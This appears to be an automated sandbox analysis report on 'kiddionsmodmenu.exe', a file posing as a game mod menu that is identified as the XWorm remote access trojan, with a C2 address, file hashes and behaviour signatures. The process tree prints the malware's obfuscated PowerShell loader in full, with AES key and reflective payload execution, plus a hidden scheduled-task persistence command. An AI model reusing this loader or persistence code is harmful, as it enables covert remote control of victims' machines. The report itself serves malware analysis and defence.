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Analysis

  • max time kernel
    149s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14-05-2024 11:22

General

  • Target

    kiddionsmodmenu.exe

  • Size

    386KB

  • MD5

    88e737816cc5f3e3809152c5f9dad5be

  • SHA1

    56dedf42285c74795f714dbac7782a5d0e695a97

  • SHA256

    6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

  • SHA512

    8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd

  • SSDEEP

    12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Malware Config

Extracted

Family

xworm

Version

5.0

C2

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
    "C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3332
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS3633.tmp\XClient_Dealed.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3080
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS3633.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:2236
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4468
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_599_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_599.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1424
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_599.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:5052
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_599.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:516
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_599.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:1128
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
                  6⤵
                  • Blocklisted process makes network request
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1748

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

        Filesize

        2KB

        MD5

        9751fcb3d8dc82d33d50eebe53abe314

        SHA1

        7a680212700a5d9f3ca67c81e0e243834387c20c

        SHA256

        ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

        SHA512

        54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

        Filesize

        20KB

        MD5

        01b07629ceda45d11e965a5b764dd8c3

        SHA1

        06fa3b0f8b22f9a88302164c6e3e3bec4cdd0ab0

        SHA256

        3d843614406eaf6c47b2619e56dc2062807c911e63e91bf632b002ac4884b908

        SHA512

        fc29d4a8c002c5c50d617961962a3b678b5cd1766e83991ff4ea9dca8b4d92bc7ad04e8061ab95086059120f4623ca9b0ce691dda1ebb27db7e97dd8106ead1f

      • C:\Users\Admin\AppData\Local\Temp\7zS3633.tmp\XClient_Dealed.bat

        Filesize

        152KB

        MD5

        0b426e8571f8d3e437b7a42e9b8fd808

        SHA1

        986edba4c39be9edb552284dac555e2e95f68a4a

        SHA256

        9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

        SHA512

        e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oex5fpkh.saz.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Roaming\Windows_Log_599.vbs

        Filesize

        115B

        MD5

        04db1b3af0c080bbc3742361ad695df6

        SHA1

        387088ab67cbd2e5ef40c3d06d76cbc45798c45d

        SHA256

        c3906b5d7a241916377fa755bd0612d1d345e5347f226bf0aecec94b4a05f9c3

        SHA512

        4993b1f4b7bb7114218a1015dd18cf8ebc8479f5498fe2de6c425a36ea058111703277f3c5b88028fea9b2d8d898bcbedd2ea1de8c12e84d123a41c37e70e190

      • memory/1424-57-0x0000000007920000-0x0000000007931000-memory.dmp

        Filesize

        68KB

      • memory/1424-42-0x0000000007580000-0x00000000075B2000-memory.dmp

        Filesize

        200KB

      • memory/1424-56-0x00000000079A0000-0x0000000007A36000-memory.dmp

        Filesize

        600KB

      • memory/1424-55-0x0000000007790000-0x000000000779A000-memory.dmp

        Filesize

        40KB

      • memory/1424-54-0x00000000075D0000-0x0000000007673000-memory.dmp

        Filesize

        652KB

      • memory/1424-53-0x0000000007560000-0x000000000757E000-memory.dmp

        Filesize

        120KB

      • memory/1424-43-0x000000006F4B0000-0x000000006F4FC000-memory.dmp

        Filesize

        304KB

      • memory/1748-78-0x00000000075C0000-0x000000000765C000-memory.dmp

        Filesize

        624KB

      • memory/1748-77-0x0000000007370000-0x000000000737E000-memory.dmp

        Filesize

        56KB

      • memory/1748-81-0x00000000081C0000-0x0000000008252000-memory.dmp

        Filesize

        584KB

      • memory/4468-11-0x0000000005E90000-0x0000000005EF6000-memory.dmp

        Filesize

        408KB

      • memory/4468-23-0x0000000006470000-0x000000000648E000-memory.dmp

        Filesize

        120KB

      • memory/4468-29-0x0000000007920000-0x0000000007928000-memory.dmp

        Filesize

        32KB

      • memory/4468-30-0x0000000007940000-0x000000000795E000-memory.dmp

        Filesize

        120KB

      • memory/4468-31-0x0000000008A90000-0x0000000009034000-memory.dmp

        Filesize

        5.6MB

      • memory/4468-27-0x0000000007E60000-0x00000000084DA000-memory.dmp

        Filesize

        6.5MB

      • memory/4468-26-0x0000000007560000-0x00000000075D6000-memory.dmp

        Filesize

        472KB

      • memory/4468-25-0x0000000007440000-0x0000000007484000-memory.dmp

        Filesize

        272KB

      • memory/4468-24-0x0000000006510000-0x000000000655C000-memory.dmp

        Filesize

        304KB

      • memory/4468-28-0x0000000007800000-0x000000000781A000-memory.dmp

        Filesize

        104KB

      • memory/4468-22-0x0000000005F70000-0x00000000062C4000-memory.dmp

        Filesize

        3.3MB

      • memory/4468-12-0x0000000005F00000-0x0000000005F66000-memory.dmp

        Filesize

        408KB

      • memory/4468-10-0x00000000055A0000-0x00000000055C2000-memory.dmp

        Filesize

        136KB

      • memory/4468-9-0x0000000072C20000-0x00000000733D0000-memory.dmp

        Filesize

        7.7MB

      • memory/4468-8-0x00000000057F0000-0x0000000005E18000-memory.dmp

        Filesize

        6.2MB

      • memory/4468-7-0x0000000072C20000-0x00000000733D0000-memory.dmp

        Filesize

        7.7MB

      • memory/4468-6-0x0000000002F60000-0x0000000002F96000-memory.dmp

        Filesize

        216KB

      • memory/4468-79-0x0000000072C20000-0x00000000733D0000-memory.dmp

        Filesize

        7.7MB

      • memory/4468-5-0x0000000072C2E000-0x0000000072C2F000-memory.dmp

        Filesize

        4KB